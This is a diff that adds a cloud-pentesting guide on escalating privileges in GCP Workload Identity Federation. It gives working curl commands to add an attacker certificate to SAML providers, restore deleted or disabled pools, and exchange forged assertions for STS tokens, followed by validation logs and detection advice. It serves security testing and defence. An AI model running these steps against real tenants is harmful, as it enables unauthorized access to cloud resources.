diff --git a/SUMMARY.md b/SUMMARY.md index 008efc3d05..f6982b766a 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -111,6 +111,7 @@ * [GCP - Container Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md) * [GCP - Deploymentmaneger Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md) * [GCP - IAM Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md) + * [GCP - Workload Identity Federation Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md) * [GCP - KMS Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md) * [GCP - Orgpolicy Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md) * [GCP - Pubsub Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md) diff --git a/pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md b/pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md index 0f902f914d..3cb8f668ba 100644 --- a/pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md +++ b/pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md @@ -15,6 +15,10 @@ Learn & practice GCP Hacking: provider-create.json + +curl -sS -X POST \ + -H "Authorization: Bearer $ACCESS_TOKEN" \ + -H 'Content-Type: application/json' \ + --data-binary @provider-create.json \ + "https://iam.googleapis.com/v1/${POOL_NAME}/providers?workloadIdentityPoolProviderId=${PROVIDER_ID}" +``` + +The response is a long-running operation. Poll it until `done` is true and verify that it has no `error`. The new provider must become `ACTIVE` before exchanging the forged assertion. Continue at [Forge and exchange the assertion](#forge-and-exchange-the-assertion), using the new provider ID. + +## `iam.googleapis.com/workloadIdentityPoolProviders.undelete` + +Deleting a provider blocks new token exchanges, but provider deletion is recoverable for 30 days. If its trust configuration accepts an identity the attacker controls and a matching IAM binding remains, this permission can restore the provider and its access path.[^8] + +```bash +PROVIDER_NAME="projects/${PROJECT_NUMBER}/locations/global/workloadIdentityPools/${POOL_ID}/providers/${PROVIDER_ID}" + +curl -sS -X POST \ + -H "Authorization: Bearer $ACCESS_TOKEN" \ + -H 'Content-Type: application/json' \ + --data '{}' \ + "https://iam.googleapis.com/v1/${PROVIDER_NAME}:undelete" +``` + +Wait for the returned operation to finish and confirm the provider is `ACTIVE`. This direct request does not require list or get permission. The live test used a pool-wide wildcard binding, a deleted SAML provider that trusted the attacker's certificate, and a custom role containing only the undelete permission. + +{% hint style="danger" %} +Undelete alone grants no access. The deleted provider must retain usable attacker-controlled trust, its pool must be active, and a matching IAM binding must still exist. +{% endhint %} + +## `iam.googleapis.com/workloadIdentityPools.update` + +A disabled pool cannot exchange new credentials, and existing credentials from it cannot access resources. Re-enabling it makes the pool's providers and residual IAM bindings usable again.[^9] + +```bash +POOL_NAME="projects/${PROJECT_NUMBER}/locations/global/workloadIdentityPools/${POOL_ID}" + +jq -n --arg name "$POOL_NAME" '{name:$name,disabled:false}' > pool-enable.json +curl -sS -X PATCH \ + -H "Authorization: Bearer $ACCESS_TOKEN" \ + -H 'Content-Type: application/json' \ + --data-binary @pool-enable.json \ + "https://iam.googleapis.com/v1/${POOL_NAME}?updateMask=disabled" +``` + +The request above exercises only the pool update permission and does not require reading the pool first. Poll the operation and verify `disabled` is false when read access is available. + +{% hint style="danger" %} +Pool update alone grants no access. This becomes Critical when a disabled pool retains a provider that accepts an attacker-controlled identity and a privileged IAM binding. +{% endhint %} + +## `iam.googleapis.com/workloadIdentityPools.undelete` + +A deleted pool is recoverable for 30 days. Undeleting it restores its provider trust; residual IAM bindings for the pool become usable again. Google also documents that unexpired credentials regain access if the pool is undeleted.[^10] + +```bash +curl -sS -X POST \ + -H "Authorization: Bearer $ACCESS_TOKEN" \ + -H 'Content-Type: application/json' \ + --data '{}' \ + "https://iam.googleapis.com/v1/${POOL_NAME}:undelete" +``` + +{% hint style="danger" %} +Pool undelete alone grants no access. A restored provider must accept an identity the attacker controls and a matching IAM binding must remain. +{% endhint %} + +## `iam.googleapis.com/workloadIdentityPoolProviders.update` + +This permission can become a **direct privilege-escalation primitive** when it applies to an existing Workload Identity Federation provider whose subjects, groups, or mapped attributes already have IAM access. A provider defines which external issuer and signing material Google trusts and how assertion claims become Google Cloud principal attributes. Changing that trust configuration can therefore let the editor mint credentials for an already-authorized federated principal.[^1][^2][^3] + +### Validated SAML provider takeover + +For a SAML provider, an attacker can add a controlled signing certificate to the provider's IdP metadata, create a correctly signed assertion for a subject or attribute value referenced by an existing IAM binding, and exchange it at Google Security Token Service (STS). The returned token acts as the forged workload principal and receives the permissions of matching `principal://` or `principalSet://` bindings.[^2][^3][^4] + +Google requires at least one non-expired signing certificate in updated metadata to overlap with the current metadata. This does **not** prevent the takeover: retain a legitimate certificate and add the attacker certificate as a second ``. Replacing every certificate at once is rejected.[^2] + +The following prerequisites must all be true: + +* The permission applies to the target provider, normally through project-level or inherited IAM. +* The provider is enabled and has a reachable IAM binding for a subject, group, or mapped attribute. +* The forged assertion satisfies the provider's attribute condition and SAML requirements. + +{% hint style="danger" %} +Without a matching IAM binding, modifying a provider does not itself grant resource access. Treat this as Critical when the affected pool has privileged bindings; otherwise report the dangerous trust-control capability and its missing prerequisite. +{% endhint %} + +## Enumeration and low-permission fallbacks + +```bash +PROJECT_ID="target-project" +LOCATION="global" + +gcloud iam workload-identity-pools list \ + --project "$PROJECT_ID" --location "$LOCATION" + +gcloud iam workload-identity-pools providers list \ + --project "$PROJECT_ID" --location "$LOCATION" \ + --workload-identity-pool "POOL_ID" + +gcloud iam workload-identity-pools providers describe "PROVIDER_ID" \ + --project "$PROJECT_ID" --location "$LOCATION" \ + --workload-identity-pool "POOL_ID" --format=json +``` + +If listing or describing is denied, do not stop at an empty result. Recover provider identifiers from IAM members (`principal://iam.googleapis.com/projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/...`), Terraform/state files, deployment manifests, CI configuration, credential configuration files, or Cloud Audit Logs. The project **number**, pool ID, and provider ID are enough to construct the provider resource name.[^3][^5] + +Inspect accessible IAM policies for exact subjects and broad attribute or pool bindings: + +```bash +gcloud projects get-iam-policy "$PROJECT_ID" --format=json | \ + jq -r '.bindings[] | .role as $role | .members[] | + select(contains("/workloadIdentityPools/")) | [$role, .] | @tsv' +``` + +### Add an attacker certificate with the exact permission + +Generate a signing key and certificate in the authorized test environment. Preserve the original IdP metadata and insert the new certificate as an additional signing descriptor: + +```xml + + + + ATTACKER_CERTIFICATE_BASE64_DER + + + +``` + +The REST update below avoids helper-command read permissions and exercises `iam.googleapis.com/workloadIdentityPoolProviders.update` directly. `overlap-metadata.xml` must contain both a current legitimate certificate and the attacker certificate: + +```bash +PROJECT_NUMBER="123456789012" +POOL_ID="existing-pool" +PROVIDER_ID="existing-saml-provider" +PROVIDER_NAME="projects/${PROJECT_NUMBER}/locations/global/workloadIdentityPools/${POOL_ID}/providers/${PROVIDER_ID}" + +jq -Rs --arg name "$PROVIDER_NAME" \ + '{name:$name,saml:{idpMetadataXml:.}}' \ + overlap-metadata.xml > provider-patch.json + +curl -sS -X PATCH \ + -H "Authorization: Bearer $ACCESS_TOKEN" \ + -H 'Content-Type: application/json' \ + --data-binary @provider-patch.json \ + "https://iam.googleapis.com/v1/${PROVIDER_NAME}?updateMask=saml.idpMetadataXml" +``` + +The update returns a long-running operation. Wait for successful completion and read the provider back when permissions permit; an HTTP `200` that only accepts the operation is not proof that the metadata change committed.[^1] + +## Forge and exchange the assertion + +Create a SAML 2.0 response signed by the attacker key. The assertion must include the configured Entity ID as issuer, the target `NameID` or mapped attributes, a bearer `SubjectConfirmation`, a future validity window, an `AuthnStatement`, and this audience:[^4] + +```text +https://iam.googleapis.com/projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/POOL_ID/providers/PROVIDER_ID +``` + +Either the response or assertion must be signed. Use a SAML library that emits schema-valid XML; for a response signature, place `` after the response issuer. RSA-SHA256 with exclusive XML canonicalization was accepted in the live validation. Base64-encode the complete signed response and exchange it: + +```bash +ASSERTION_B64="$(base64 < signed-response.xml | tr -d '\n')" +STS_AUDIENCE="//iam.googleapis.com/projects/${PROJECT_NUMBER}/locations/global/workloadIdentityPools/${POOL_ID}/providers/${PROVIDER_ID}" + +curl -sS -X POST 'https://sts.googleapis.com/v1/token' \ + -H 'Content-Type: application/x-www-form-urlencoded' \ + --data-urlencode 'grant_type=urn:ietf:params:oauth:grant-type:token-exchange' \ + --data-urlencode "audience=${STS_AUDIENCE}" \ + --data-urlencode 'scope=https://www.googleapis.com/auth/cloud-platform' \ + --data-urlencode 'requested_token_type=urn:ietf:params:oauth:token-type:access_token' \ + --data-urlencode 'subject_token_type=urn:ietf:params:oauth:token-type:saml2' \ + --data-urlencode "subject_token=${ASSERTION_B64}" +``` + +Use the returned access token directly as the federated principal, or, when a matching service-account binding grants `roles/iam.workloadIdentityUser`, exchange it through `iamcredentials.googleapis.com` for a service-account token.[^3][^5] + +## Live validation evidence + +### Provider creation into a broadly trusted pool + +This path was validated on **2026-09-08** in a disposable project configuration: + +1. An empty Workload Identity Pool's wildcard `principalSet` had `roles/viewer` on the project. +2. An attacker-signed assertion was rejected by STS before its provider existed. +3. A service account with a custom role containing only `iam.googleapis.com/workloadIdentityPoolProviders.create` created a SAML provider that trusted the attacker certificate. +4. The long-running operation completed and the provider became `ACTIVE`. +5. The same assertion was accepted by STS. The federated token inherited the pool wildcard binding and successfully called `cloudresourcemanager.googleapis.com/v3/projects/PROJECT_ID` with HTTP `200`. +6. The wildcard binding, attacker binding, service account, custom role, provider, and pool were removed. Pool/provider deletion is soft deletion, so their IDs remain reserved temporarily but are inactive. + +### Existing provider update + +This path was validated on **2026-09-08** in a disposable project configuration: + +1. A SAML provider trusted only the laboratory victim certificate. +2. An attacker-signed response for a subject with `roles/viewer` was rejected by STS. +3. A service account with a custom role containing only `iam.googleapis.com/workloadIdentityPoolProviders.update` patched the metadata to retain the victim certificate and add its certificate. +4. The long-running operation completed, and provider read-back contained the attacker certificate. +5. The same attacker-signed response was accepted by STS, and the returned federated token successfully called `cloudresourcemanager.googleapis.com/v3/projects/PROJECT_ID` with HTTP `200`. +6. The IAM bindings, service account, custom role, provider, and pool were removed. Pool/provider deletion is soft deletion, so their IDs remain reserved temporarily but are inactive. + +### Deleted provider restoration + +This path was validated on **2026-09-08** with a second single-permission custom role: + +1. A SAML provider trusted an attacker certificate, and its pool wildcard had `roles/viewer`. +2. The provider was deleted; the signed assertion was rejected by STS. +3. A service account holding only `iam.googleapis.com/workloadIdentityPoolProviders.undelete` restored the provider through REST. +4. The operation completed, the provider became `ACTIVE`, and the same assertion received an STS token that read the project with HTTP `200`. + +### Disabled and deleted pool restoration + +Two independent paths were validated on **2026-09-08**, each with its own single-permission custom role: + +* After a pool with an attacker-controlled SAML provider and wildcard `roles/viewer` binding was disabled, STS rejected the assertion. A service account holding only `iam.googleapis.com/workloadIdentityPools.update` set `disabled=false`; the same assertion then received a token that read the project with HTTP `200`. +* After an equivalent pool was deleted, STS rejected the assertion. A service account holding only `iam.googleapis.com/workloadIdentityPools.undelete` restored the pool and its provider; the same assertion then received a token that read the project with HTTP `200`. + +All test IAM bindings, service accounts, custom roles, providers, and pools were removed. Deleted pools, providers, and roles remain inactive soft-deletion tombstones during their retention periods. + +## Detection and response + +Monitor Admin Activity logs for pool/provider creations, updates, and undeletions. Compare provider IDs, SAML metadata certificates, issuers, attribute mappings, attribute conditions, and allowed audiences with the approved configuration. Alert when a new provider appears in a pool with a pool-wide wildcard IAM binding, when `disabled` changes to false, or when a pool/provider is restored. If compromise is suspected, remove residual IAM bindings before relying on disable/delete, remove unauthorized certificates, and investigate STS token-exchange logs for forged subjects.[^5][^6] + +[^1]: [Update a Workload Identity Pool provider](https://cloud.google.com/iam/docs/reference/rest/v1/projects.locations.workloadIdentityPools.providers/patch) +[^2]: [Workload Identity Pool provider SAML resource and certificate-overlap requirement](https://cloud.google.com/iam/docs/reference/rest/v1/projects.locations.workloadIdentityPools.providers#saml) +[^3]: [Workload Identity Federation principal identifiers and access](https://cloud.google.com/iam/docs/workload-identity-federation) +[^4]: [SAML assertion requirements for Workload Identity Federation](https://cloud.google.com/iam/docs/workload-identity-federation-with-other-providers#saml) +[^5]: [Best practices for Workload Identity Federation](https://cloud.google.com/iam/docs/best-practices-for-using-workload-identity-federation) +[^6]: [Example audit logs for Workload Identity Federation](https://cloud.google.com/iam/docs/audit-logging/examples-workload-identity) +[^7]: [Create a Workload Identity Pool provider](https://cloud.google.com/iam/docs/reference/rest/v1/projects.locations.workloadIdentityPools.providers/create) +[^8]: [Undelete a Workload Identity Pool provider](https://cloud.google.com/iam/docs/reference/rest/v1/projects.locations.workloadIdentityPools.providers/undelete) +[^9]: [Update a Workload Identity Pool](https://cloud.google.com/iam/docs/reference/rest/v1/projects.locations.workloadIdentityPools/patch) +[^10]: [Undelete a Workload Identity Pool](https://cloud.google.com/iam/docs/reference/rest/v1/projects.locations.workloadIdentityPools/undelete)